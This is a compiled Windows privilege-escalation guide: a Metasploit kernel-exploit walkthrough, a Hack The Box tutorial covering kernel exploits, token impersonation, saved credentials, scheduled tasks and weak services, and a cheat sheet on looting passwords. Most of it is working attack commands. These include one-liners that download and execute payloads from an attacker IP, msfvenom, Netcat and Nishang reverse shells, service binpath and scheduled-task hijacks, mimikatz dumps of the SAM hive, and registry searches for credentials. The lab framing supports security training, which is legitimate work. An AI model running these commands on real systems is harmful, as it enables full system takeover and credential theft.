Exploiting Kernel Exploits with Metasploit
For this example, I dropped into a Meterpreter shell by crafting an x64 meterpreter payload and transferring it to the victim the same way as we did in part one of this post.
We can see that session 1 opened, which is important to note as we need to keep this session number handy.
Metasploit has quite a few modules for the modern kernel exploits; however, when we try to use Local Exploit Suggester like we did in the last post, it will not find much for us.
Instead, we can use the background command to drop out of the meterpreter session and then use the following command to enumerate the different CVE exploits available:
search exploit/windows/local/cve
The search does not include ALL kernel exploits, which is due to the fact that Metasploit named some of them by there ‘media’ name and not their CVE number. For example, we can see that SMBGhost is on the list here but COMahawk is not.
This does provide a good starting point for us to test exploits. We can start by cross referencing the Watson output and test exploits that showed up on that scan, such as CVE-2020-0668 and SMBGhost.
Also, we could test COMahwk by searching for it by name. However, we already saw both SMBGhost and COMahawk being exploited, so let’s look at a really good kernel exploit that affects a lot of modern Windows 10 versions.
use exploit/windows/local/cve_2022_21882_win32k
We will need to set the SESSION, LHOST, and LPORT values for this; however, lets quickly look at all of the versions of Windows 10 that are affected.
WOW! This affects almost every version of Windows 10, all the way to the latest and final one before Windows 11!
Alright, now we just need to add our details to the exploit:
set SESSION 1
set LHOST 172.16.1.30
set LPORT 8080
show options
Now that everything is set, we can use the exploit command and then we should see a second session check in as SYSTEM.
BOOM! We got out SYSTEM shell. This exploit is a beast!
If you want to use Windows privilege escalation techniques to help elevate your privileges, you’ve come to the right place.
Our thorough guide will show you all things Windows privilege escalation. This guide will show you how to use manual enumeration methods to detect potential privilege escalation paths. We will also show you some automated tools to help in your search.
Next, we will walk you through different types of privilege escalation, such as kernel exploits, token impersonations, saved credentials, scheduled tasks, and more.
After reading our guide, you will be well on your way to understanding how to leverage your privileges on Windows.
Table Of Contents
- Understanding Privilege Escalation
- Detection
- Kernel Exploits
- Windows Subsystem for Linux
- Token Impersonation
- Saved Credentials
- Scheduled Tasks
- Weak Service Permissions
- Other Methods
- Conclusion
- Frequently Asked Questions
Understanding Privilege Escalation
Privilege escalation in the Windows operating system occurs when users obtain access to more system resources than their privileges permit. It entails switching from a lower-level user to a higher-level one, like the administrator or the «NT AUTHORITY/SYSTEM” account. Misconfiguration, or a weak point in the system, is how escalation is possible.
The difference between an administrator and a system account comes down to how much control they have over the operating system and processes.
An administrator can change security settings, install software and hardware, access all files on the computer, and make changes to other user accounts.
A system account is a built-in Windows account with the highest levels of permissions. The operating system uses this account to run system services, processes, and tasks, even though it does not correspond to a physical user. It has full access to the file system and can perform system-level changes.
Detection
Now that you understand the different user levels in a Windows environment, let’s look at ways to enumerate the operating system to help detect privilege escalation vectors.
Manual
These following commands can be run from the command prompt or PowerShell.
System Enumeration
Enumerating the operating system, including its version and patch level, can help you find if any potential kernel exploits are available for the Windows machine.
systeminfo
The command systeminfo gives you a view of the Windows operating system you’re dealing with. Everything from OS name, version, and build type to processors, BIOS version, and more.
wmic qfe
wmic qfe gives you an overview of what updates have been installed in Windows, giving you a view of the system’s patch history and enabling you to identify any missing patches or updates that could be exploited for privilege escalation.
User Enumeration
Doing user enumeration can give you a good overview of your current user, which privileges you have, and which groups you are a part of. This can be beneficial in locating privilege escalation paths that will allow you to abuse privileges or exploit misconfigurations.
whoami
The whoami command informs you about what user you are currently running as. You can also use this with other switches, such as /priv
and /groups
, to gather more information on the privileges granted to your user and what security groups you are a member of.
net user
The net user command will print out the users on the system.
You can also use the net user username to get a good overview of a specific user. This will show you the user’s name, password information, and group membership, along with the account’s various settings and properties.
net localgroup
The net localgroup command will display all available groups on the system. This can be useful for understanding the different access levels available on a system.
You can also use this command with a group name to get an overview of the group’s information and which users belong to it.
You can manually enumerate Windows in many more ways, which we won’t be going into, but they include network enumeration, AV enumeration, and service and process enumeration.
Check out our “Windows Command Line Cheat Sheet: All You Need in One Place” article for a deep dive into the Windows command line.
Automated Tools
Automated tools can be a great help when looking for privilege escalation paths, as they can quickly and efficiently scan for known vulnerabilities, misconfigurations, and weak security practices.
WinPEAS
WinPEAS, also known as the “Windows Privilege Escalation Awesome Scripts,” is a popular, well-known, and simply excellent open-source tool to help find potential paths to privilege escalation in a Windows system.
It uses a color-coded system that shows you which areas to look at first. WinPEAS can identify several common security misconfigurations, such as weak folder permissions, weak registry permissions, misconfigured services, scheduled tasks, and more.
PowerUp
PowerUp is a PowerShell script that looks for common privilege escalations on the target system. You can run it with the Invoke-AllChecks parameter, which executes all checks. You can also use it to do specific checks, like with the Get-UnquotedService parameter, which only looks for possible unquoted service path vulnerabilities. You may need to bypass the execution policy on the target system to run PowerUp.
Seatbelt
Seatbelt is a C# tool, part of the GhostPack suite of tools, that will perform a series of checks, gathering system and user data rather than looking for privilege escalation vectors. It can be very useful for identifying potential paths for escalating privileges.
SharpUp
SharpUp is another tool from the GhostPack collection that acts as a C# port for multiple PowerUp functions. The majority of checks are included. It is a flexible tool that enables you to perform individual vulnerability checks or a full audit that executes every check.
Windows Exploit Suggester
Windows Exploit Suggester is a tool that can locate privilege escalation paths by examining the patch levels of a Windows system. It compares the system’s patch levels against the Microsoft vulnerability database to detect potential missing patches. By identifying these missing patches, the tool can provide a list of potential vulnerabilities to exploit for privilege escalation.
You can also see a newer version of the tool called Windows Exploit Suggester — Next Generation (WES-NG).
Kernel Exploits
Kernel exploits are vulnerabilities found in the Windows OS that allow attackers to escalate privileges. These exploits target flaws in the operating system’s kernel.
An attacker may gain unauthorized access to system-level privileges by exploiting these vulnerabilities. This can lead to a complete takeover, allowing the attacker to execute arbitrary code, modify system data, install software, or perform other actions.
Let’s look at how to take advantage of a kernel exploit and go from a low-level user to system. We will be using the “Hack The Box: Devel” machine.
Once you have established a reverse shell via Netcat, you can run the systeminfo
command.
Copy the contents of the output and save it to a file in the same folder as the Windows Exploit Suggester on your local machine. We saved ours as systeminfo.txt.
You’ll need to update the Windows Exploit Suggester database before running the script. See the readme for more information.
Run the Windows Exploit Suggester script with the system information and database file.
You’ll see a list of potential exploits. The one we are interested in is MS10-059, also called Chimichurri. See this article if you want to read more about this exploit. This exploit will allow you to spawn a shell as the system account.
Head to this GitHub page and download the executable to your attacking machine.
Always ensure you understand what you are downloading and what the script or exploit is doing. Using scripts you don’t understand can have severe consequences, especially if you are using them in a real-world environment.
Once downloaded, start a Python server in Kali in the same folder as the downloaded exploit. Use the following command:
python3 -m http.server
Back on the Windows machine, move into the temp folder, and download the exploit using certutil.
certutil -urlcache -f http://10.10.14.10:8000/MS10-059.exe exploit.exe
The temp folder is a good place to download scripts, tools, and exploits, as it usually has the permissions needed to write and execute.
Next, start a Netcat listener on your attacking machine. On Windows, run the exploit with the IP of your machine and the port you just used with Netcat.
exploit.exe 10.10.14.10 5555
Back on our machine, we will have an elevated shell.
As you can see, finding outdated or unpatched systems can lead you to privilege escalation via a kernel exploit. Be cautious with kernel exploits, as they can sometimes cause instability in the target systems. Research their reliability and make sure someone is available to restart the machine if needed.
Windows Subsystem for Linux
WSL stands for Windows Subsystem for Linux. It is a compatibility layer for running Linux on your Windows system. It allows users to run a GNU/Linux environment directly on Windows without needing a virtual machine, including most command-line tools and utilities.
In certain situations, you can take advantage of WSL if it runs with root privileges, allowing you to create an elevated shell. In our demo, we will use a different privilege escalation approach.
Let’s look at how we can use WSL for privilege escalation via bash history on the “Hack The Box: SecNotes” machine.
Once you’ve established a shell on the machine and have located the user.txt file on Tyler’s desktop, you will notice a bash.lnk file. This file could indicate that this Windows OS is running WSL.
Let’s see if we can find out if bash.exe is running on the system.
You can use the following command to try and find it: where /R C:\Windows bash.exe
Great, bash.exe is located in two different folders.
Let’s run it from the System32 folder using the command: C:\Windows\System32\bash.exe
We must escape the shell restrictions using the following command: python3 -c 'import pty;pty.spawn("/bin/bash")'
Next, we can do some Linux enumeration. If you’ve read our article on Linux Privilege Escalation, you’ll know that one good place to look for information is in history.
Let’s look at the command history.
And we’ve found some credentials for the administrator of the Windows system. We could run the command above with the machine’s IP, and we would have access to the system folders, but we can also run psexec
and get an interactive system shell, giving us more control.
Privilege escalation can be possible through WSL, and It’s always a good idea to check the history as a first step when enumerating; you’ll be surprised by what you might find.
Token Impersonation
A token impersonation privilege escalation attack occurs when a lower-privileged user steals a token from a higher-privileged user or process and uses it to perform actions they normally wouldn’t be allowed to do, like accessing sensitive data or modifying important system settings.
Think of a token like an ID card. Each ID card belonging to a different user or service has specific privileges to control resource access.
If your user has “SeImpersonatePrivilege” enabled, you can use a potato attack to escalate privileges.
In our demo, we will be using the juicy potato attack. JuicyPotato doesn’t work on Windows Server 2019 or Windows 10 build 1809 onward. However, other similar attacks can be used to leverage the same privileges. Research the specific OS and build you’re targeting.
We can see how this works using the “Hack The Box: Bounty” machine.
Once you’ve established a shell, we can start doing manual enumeration. Let’s look at the whoami
and the whoami/priv
commands.
As you can see, we have the correct privilege to perform the juicy potato attack. Let’s run systeminfo
and see if we have the correct Windows build.
We are good to go with the juicy potato attack. Let’s download the exploit from Github to Kali.
Make sure you are serving the file using a python3 simple server set up in the same directory as the exploit using:
python3 -m http.server
You could also use an Apache or SMB server.
Now transfer it to the Windows machine with this command:
(new-object net.webclient).downloadfile('http://10.10.14.12:8000/jp.exe', 'C:Users\merlin\Desktop\jp.exe')
Next, we must create our reverse shell. Download the Invoke-PowerShellTcp.ps1 script from the Nishang repository.
Add the following to the bottom of the script and save it. We saved ours as shell2.ps1.
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 8888
Ensure you use the IP from your attacking machine and whatever port you use with Netcat to catch the shell.
Now create a .bat file containing this one-liner:
powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.12/shell2.ps1')
It will download the shell2.ps1 script and run it. We called ours bounty.bat. You can use your preferred text editor to do this (Nano, Vi, Gedit, Leafpad, etc.) or use the touch
command to create the file and echo the one liner into it.
Next, download the bounty.bat file to the Windows machine from your server using the (new-object net.webclient).downloadfile command shown previously.
Ensure you have a server set up in Kali to host the file.
Start a Netcat listener on Kali using the information from shell2.ps1 script.
We can finally start the exploit, but ensure you run it with these three flags.
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: a program to launch
-l <port>: COM server listen port (any port will do)
Here is the command to run:
./jp.exe -t * -p C:Users\merlin\Desktop\bounty.bat -l 4444
And we are now system.
Always check your privileges when stepping into a new Windows shell, as you may have privileges that can be abused, enabling you to move to the administrator or system.
Saved Credentials
Occasionally, in Windows, there will be instances where a user’s credentials will be saved in plain text. This happens for various reasons. One reason is if the Windows AutoLogon feature is enabled. This feature stores credentials in plain text in the registry, allowing other users to start the computer and log on automatically using the said account.
Our demo will show you how to leverage this feature to take us from a low-level account to the administrator.
We will use the “Hack The Box: Chatterbox” machine for this demo. Once you establish the reverse shell via the buffer overflow, you will be the user Alfred.
We can begin with some automated enumeration by downloading winPEAS from our attacking machine to Chatterbox with the following command:
certutil -urlcache -split -f "http://10.10.14.12:8000/winPEASany.exe" wp.exe
Ensure you have a server on your attacking machine in the same folder as winPEAS, so you can download the file. You can use: python3 -m http.server
After running winPEAS, you will notice it found AutoLogon credentials for the user Alfred. The password may also work for the administrator user.
We must use the PowerShell automation utility, as we cannot test this via RDP or other methods. This will allow us to run scripts in the context of another user.
The first step is to create a reverse shell using MSFvenom.
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe > shell.exe
Next, we must use the certutil command to download shell.exe to Chatterbox. Remember to set up the server to host the file.
Start Netcat with the same port you used for the MSFvenom payload. Next, run the following PowerShell command to get a reverse shell as the administrator.
powershell -c "$password = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential('Administrator', $password);Start-Process -FilePath "shell.exe" -Credential $creds"
Let’s break down the command step by step:
powershell -c
: This starts a PowerShell session and executes the following command.$password = ConvertTo-SecureString 'Welcome1!' -AsPlainText -Force
;: This line sets the $password variable to a secure string representation of the password ‘Welcome1!’. The ConvertTo-SecureString cmdlet is used to convert a plain text password into a secure string. The -AsPlainText parameter specifies that the password is provided as plain text, and the -Force parameter ensures that the conversion is performed without prompting for confirmation.$creds = New-Object System.Management.Automation.PSCredential('Administrator', $password);
: This line creates a new PSCredential object named $creds using the New-Object cmdlet. The PSCredential object represents a set of security credentials, including a username and password. In this case, the username is ‘Administrator’, and the password is the secure string stored in the $password variable.Start-Process -FilePath "shell.exe" -Credential $creds
: This line starts a new process using the Start-Process cmdlet. It launches an executable file named «shell.exe». The -Credential parameter specifies the credentials to be used when running the process, and $creds contains the PSCredential object created in the previous step, which includes the username and password.
In summary, this PowerShell command sets a secure password, creates a set of credentials using the username ‘Administrator’ and the secure password, and then launches the reverse shell using those credentials.
And we have now escalated our privileges to the administrator.
As you can see, sometimes credentials will be saved in plain text and can be used to elevate privileges if they are reused for other services or users.
Scheduled Tasks
Scheduled tasks in Windows are an automated way of running certain scripts or programs at set times. As cron jobs work in a Linux environment, scheduled tasks let users run tasks such as backups, updates, and virus scans at a specific time; it could be every minute, every hour, or even every day.
This can lead to privilege escalation if the task has misconfigured permissions. This may enable a low-level user to modify the task or file, allowing them to make it do whatever they want.
Since most tasks are run with the privileges of the administrator (who most often is the one who created the task), the script will also run with these higher privileges, allowing the user to escalate privileges.
Let’s look at how this works using the “Hack the Box: Tally” machine. Once you have the reverse shell courtesy of SQL, you will be the user Sarah.
Head to Sarah’s desktop; you will also notice two interesting files.
If you look at the .xml file, you’ll notice a few things. It tells us that the PowerShell script SPBestWarmUp.ps1 with the -ExecutionPolicy Bypass and -skipadmincheck arguments will run under the TALLYAdministrator user’s permissions. It runs every hour of the day.
Since the file runs with the administrator’s privileges, we can use this script to escalate privileges. But first, let’s see if we have the correct permissions to modify it.
You can use the following PowerShell command to check the file’s permissions: Get-Acl SPBestWarmUp.ps1 | Format-List
See our “The Most Helpful PowerShell Cheat Sheet You’ll Ever Find” article for a thorough list of PowerShell commands.
As we are the user Sarah, we own the file and can now use this to change the contents of the file and give us a reverse shell.
We need to copy the Nishang reverse shell to our attacking machine and add the following line to the bottom of the script:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.12 -Port 4444
Remember to use the IP from your machine and the port you will use with Netcat.
Set up a Python server in the same directory as the Nishang script.
python3 -m http.server
Start your Netcat listener and use the following command to replace the contents of the SPBestWarmUp.ps1 file with our reverse shell.
echo "iex(new-object net.webclient).downloadstring('http://10.10.14.12:8000/shell2.ps1')" > SPBestWarmUp.ps1
Now wait for the scheduled task to run. It could take up to an hour to spawn the shell.
Sometimes scheduled tasks will have misconfigured permissions that will allow you to escalate privileges. In a real engagement, ALWAYS make sure to back-up and restore any files you modify, replace, or delete.
Weak Service Permissions
In Windows, services allow applications to run in the background with certain permissions. These services can run with different privilege levels depending on how they are configured. This can be a low-level user all the way up to the system account.
When a low-level user can modify a service with high-level privileges, that is called weak service permissions.
Misconfigurations could include
- Improper access control lists (ACLs) that allow non-administrators to modify the service.
- The service has weak file permissions.
Let’s look at how to take advantage of weak service permissions using the “Hack The Box: Querier” machine.
Once you have your shell, you will be the mssql_svc user.
Our first step will be downloading the PowerUp script from our attack machine. You can start a Python server in the same directory as the script with the following command: python3 -m http.server
Enter Powershell and then move into the C:\Reports folder. Use the following command to download the PowerUp script:
Invoke-WebRequest -Uri http://10.10.14.15:8000/PowerUp.ps1 -OutFile C:\Reports\PowerUp.ps1
Ensure you change the IP and port to your machine’s settings.
Once downloaded, run PowerUp with Invoke-AllChecks.
We have more than a few paths to take. But for this demo, we are interested in the service UsoSvc. With this service, we can use the PowerUp Invoke-ServiceAbuse function, which abuses a function where the current user has configuration rights to add a local administrator or execute a custom command.
It’s important to note that to exploit the service, CanRestart must be True. As restarting the service is how we have our commands executed.
We can do this manually by changing the binpath to run a command. We will run Netcat to give us a reverse shell as the administrator.
Change back to a regular command prompt. We need to modify the configuration of the UsoSvc service by setting the binpath to run our Netcat reverse shell using the ‘sc’ (Service Control) command.
sc config UsoSvc binpath= "C:\Reports\nc.exe -e cmd.exe 10.10.14.15 4444"
To check if the command worked and query the configuration information of the service, you can use the command:
sc qc UsoSvc
The command worked, as the new binpath is set to our command. Now we need to stop and then restart the service to pop our shell as system.
Ensure you have Netcat started on your attacking machine, and once you start the service, you will have an elevated shell.
As you can see, if services have weak permissions, you can take advantage to elevate your privileges. As we mentioned in the Scheduled Tasks section, in a real engagement, ALWAYS make sure to back-up and restore any files you modify, replace, or delete.
Other Methods
There are many other methods for privilege escalation in Windows that you can learn, but we cannot walk through them all.
These include:
- Always Install Elevate
- Run As
- Startup Applications
- Executable Files
- DLL Hijacking
- Unquoted Service Paths
- Weak Registry Permissions
Conclusion
As you’ve seen, there are many paths for Windows privilege escalation attacks.
We’ve shown you how to do some manual enumeration, what automated tools we recommend you use, and what they do.
By taking advantage of kernel exploits, token impersonation, scheduled tasks, and other paths, you can escalate privileges and become the administrator user or even the system account.
It’s a good idea to keep up with the latest tools and techniques when it comes to Windows privilege escalation techniques, and we’ve provided you with a great starting point for your journey.
Frequently Asked Questions
What is privilege escalation in Windows?
Privilege escalation in Windows is moving from a low-level user to the administrator or system account using an exploit or misconfiguration.
What is the highest level of privilege in Windows?
The highest privilege level in Windows is the NT Authority/System account, which has full control over the Windows OS.
What tools can help with Windows privilege escalation?
Many tools can help you identify privilege escalation paths in Windows. These include WinPeas, PowerUp, and the Windows Exploit Suggester.
-
Richard is a cyber security enthusiast, eJPT, and ICCA who loves discovering new topics and never stops learning. In his home lab, he’s always working on sharpening his offensive cyber security skills. He shares helpful advice through easy-to-understand blog posts that offer practical support for everyone. Additionally, Richard is dedicated to raising awareness for mental health. You can find Richard on LinkedIn, or to see his other projects, visit his Linktree.
Summary
- Tools
- Windows Version and Configuration
- User Enumeration
- Network Enumeration
- Antivirus Enumeration
- Default Writable Folders
- EoP — Looting for passwords
- SAM and SYSTEM files
- HiveNightmare
- LAPS Settings
- Search for file contents
- Search for a file with a certain filename
- Search the registry for key names and passwords
- Passwords in unattend.xml
- Wifi passwords
- Sticky Notes passwords
- Passwords stored in services
- Passwords stored in Key Manager
- Powershell History
- Powershell Transcript
- Password in Alternate Data Stream
- EoP — Processes Enumeration and Tasks
- EoP — Incorrect permissions in services
- EoP — Windows Subsystem for Linux (WSL)
- EoP — Unquoted Service Paths
- EoP — $PATH Interception
- EoP — Named Pipes
- EoP — Kernel Exploitation
- EoP — Microsoft Windows Installer
- AlwaysInstallElevated
- CustomActions
- EoP — Insecure GUI apps
- EoP — Evaluating Vulnerable Drivers
- EoP — Printers
- Universal Printer
- Bring Your Own Vulnerability
- EoP — Runas
- EoP — Abusing Shadow Copies
- EoP — From local administrator to NT SYSTEM
- EoP — Living Off The Land Binaries and Scripts
- EoP — Impersonation Privileges
- Restore A Service Account’s Privileges
- Meterpreter getsystem and alternatives
- RottenPotato (Token Impersonation)
- Juicy Potato (Abusing the golden privileges)
- Rogue Potato (Fake OXID Resolver))
- EFSPotato (MS-EFSR EfsRpcOpenFileRaw))
- PrintSpoofer (Printer Bug)))
- EoP — Privileged File Write
- DiagHub
- UsoDLLLoader
- WerTrigger
- WerMgr
- EoP — Privileged File Delete
- EoP — Common Vulnerabilities and Exposures
- MS08-067 (NetAPI)
- MS10-015 (KiTrap0D)
- MS11-080 (adf.sys)
- MS15-051 (Client Copy Image)
- MS16-032
- MS17-010 (Eternal Blue)
- CVE-2019-1388
- EoP — $PATH Interception
- References
-
PowerSploit’s PowerUp
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
-
Watson — Watson is a (.NET 2.0 compliant) C# implementation of Sherlock
-
(Deprecated) Sherlock — PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1
-
BeRoot — Privilege Escalation Project — Windows / Linux / Mac
-
Windows-Exploit-Suggester
./windows-exploit-suggester.py --update ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
-
windows-privesc-check — Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems
- WindowsExploits — Windows exploits, mostly precompiled. Not being updated.
- WindowsEnum — A Powershell Privilege Escalation Enumeration Script.
-
Seatbelt — A C# project that performs a number of security oriented host-survey «safety checks» relevant from both offensive and defensive security perspectives.
Seatbelt.exe -group=all -full Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt" Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""
-
Powerless — Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind
-
JAWS — Just Another Windows (Enum) Script
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
-
winPEAS — Windows Privilege Escalation Awesome Script
-
Windows Exploit Suggester — Next Generation (WES-NG)
# First obtain systeminfo systeminfo systeminfo > systeminfo.txt # Then feed it to wesng python3 wes.py --update-wes python3 wes.py --update python3 wes.py systeminfo.txt
-
PrivescCheck — Privilege Escalation Enumeration Script for Windows
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck" C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended" C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
Windows Version and Configuration
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Extract patchs and updates
Architecture
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
List all env variables
set
Get-ChildItem Env: | ft Key,Value
List all drives
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
User Enumeration
Get current username
echo %USERNAME% || whoami
$env:username
List user privilege
whoami /priv
whoami /groups
List all users
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
List logon requirements; useable for bruteforcing
$env:usernadsc
net accounts
Get details about a user (i.e. administrator, admin, current user)
net user administrator
net user admin
net user %USERNAME%
List all local groups
net localgroup
Get-LocalGroup | ft Name
Get details about a group (i.e. administrators)
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
Get Domain Controllers
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
Network Enumeration
List all network interfaces, IP, and DNS.
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
List current routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
List the ARP table
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
List all current connections
List all network shares
net share
powershell Find-DomainShare -ComputerDomain domain.local
SNMP Configuration
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Antivirus Enumeration
Enumerate antivirus on a box with WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Default Writable Folders
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\printers
C:\Windows\System32\spool\servers
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
C:\Windows\Tasks
C:\Windows\System32\tasks
C:\Windows\SysWOW64\tasks
C:\Windows\System32\tasks_migrated\microsoft\windows\pls\system
C:\Windows\SysWOW64\tasks\microsoft\windows\pls\system
C:\Windows\debug\wia
C:\Windows\registration\crmlog
C:\Windows\System32\com\dmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\System32\fxstmp
C:\Windows\SysWOW64\fxstmp
EoP — Looting for passwords
SAM and SYSTEM files
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Generate a hash file for John using pwdump
or samdump2
.
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
Either crack it with john -format=NT /root/sam.txt
, hashcat or use Pass-The-Hash.
HiveNightmare
CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user
Check for the vulnerability using icacls
C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX) <-- this is wrong - regular users should not have read access!
Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.
mimikatz> token::whoami /full
# List shadow copies available
mimikatz> misc::shadowcopies
# Extract account from SAM databases
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
LAPS Settings
Extract HKLM\Software\Policies\Microsoft Services\AdmPwd
from Windows Registry.
- LAPS Enabled: AdmPwdEnabled
- LAPS Admin Account Name: AdminAccountName
- LAPS Password Complexity: PasswordComplexity
- LAPS Password Length: PasswordLength
- LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config 2>nul >> results.txt
findstr /spin "password" *.*
Also search in remote places such as SMB Shares and SharePoint:
- Search passwords in SharePoint: nheiniger/SnaffPoint (must be compiled first, for referencing issue see: Pull #6)
# First, retrieve a token
## Method 1: using SnaffPoint binary
$token = (.\GetBearerToken.exe https://your.sharepoint.com)
## Method 2: using AADInternals
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
$token = (Get-AADIntAccessToken -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc" -Tenant "your.onmicrosoft.com" -Resource "https://your.sharepoint.com")
# Second, search on Sharepoint
## Method 1: using search strings in ./presets dir
.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token
## Method 2: using search string in command line
### -l uses FQL search, see: https://learn.microsoft.com/en-us/sharepoint/dev/general-development/fast-query-language-fql-syntax-reference
.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token -l -q "filename:.config"
- Search passwords in SMB Shares: SnaffCon/Snaffler
Search for a file with a certain filename
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Search the registry for key names and passwords
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Passwords in unattend.xml
Location of the unattend.xml files.
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
.
Example content
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
Unattend credentials are stored in base64 and can be decoded manually with base64.
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
SecretSecurePassword1234*
The Metasploit module post/windows/gather/enum_unattend
looks for these files.
IIS Web config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Other files
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
